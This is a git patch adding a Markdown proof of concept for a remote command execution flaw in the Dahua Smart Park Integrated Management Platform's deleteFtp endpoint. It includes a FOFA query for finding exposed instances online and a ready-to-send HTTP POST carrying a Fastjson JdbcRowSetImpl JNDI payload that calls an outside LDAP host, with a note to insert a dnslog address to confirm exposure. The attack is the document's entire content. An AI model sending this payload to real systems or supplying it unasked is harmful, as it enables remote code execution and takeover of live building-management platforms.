From e955d7a25ee39225d09db157279caa5db815e2b9 Mon Sep 17 00:00:00 2001 From: wy876 <139549762+wy876@users.noreply.github.com> Date: Tue, 28 Nov 2023 19:15:22 +0800 Subject: [PATCH] =?UTF-8?q?Create=20=E5=A4=A7=E5=8D=8E=E6=99=BA=E6=85=A7?= =?UTF-8?q?=E5=9B=AD=E5=8C=BA=E7=BB=BC=E5=90=88=E7=AE=A1=E7=90=86=E5=B9=B3?= =?UTF-8?q?=E5=8F=B0=20deleteFtp=20=E8=BF=9C=E7=A8=8B=E5=91=BD=E4=BB=A4?= =?UTF-8?q?=E6=89=A7=E8=A1=8C=E6=BC=8F=E6=B4=9E.md?= MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit --- ...园区综合管理平台 deleteFtp 远程命令执行漏洞.md | 23 +++++++++++++++++++ 1 file changed, 23 insertions(+) create mode 100644 大华智慧园区综合管理平台 deleteFtp 远程命令执行漏洞.md diff --git a/大华智慧园区综合管理平台 deleteFtp 远程命令执行漏洞.md b/大华智慧园区综合管理平台 deleteFtp 远程命令执行漏洞.md new file mode 100644 index 0000000..e67f202 --- /dev/null +++ b/大华智慧园区综合管理平台 deleteFtp 远程命令执行漏洞.md @@ -0,0 +1,23 @@ +## 大华智慧园区综合管理平台 deleteFtp 远程命令执行漏洞 + +## fofa +``` +body="src=/WPMS/asset/common/js/jsencrypt.min.js" +``` + +## poc +``` +POST /CardSolution/card/accessControl/swingCardRecord/deleteFtp HTTP/1.1 +Host: Cache-Control: max-age=0 +Upgrade-Insecure-Requests: 1 +User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/116.0.5845.111 Safari/537.36 +Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7 +Accept-Encoding: gzip, deflate, br +Accept-Language: zh-CN,zh;q=0.9Cookie: yourCookieConnection: close +Content-Type: application/json +Content-Length: 189 + +{"ftpUrl":{"e":{"@type":"java.lang.Class","val":"com.sun.rowset.JdbcRowSetImpl"},"f":{"@type":"com.sun.rowset.JdbcRowSetImpl","dataSourceName":"ldap://x.x.x.x","autoCommit":true}}} +``` + +`ldap://x.x.x.x` 填入dnslog地址 ,发送poc dnslog有请求说明存在漏洞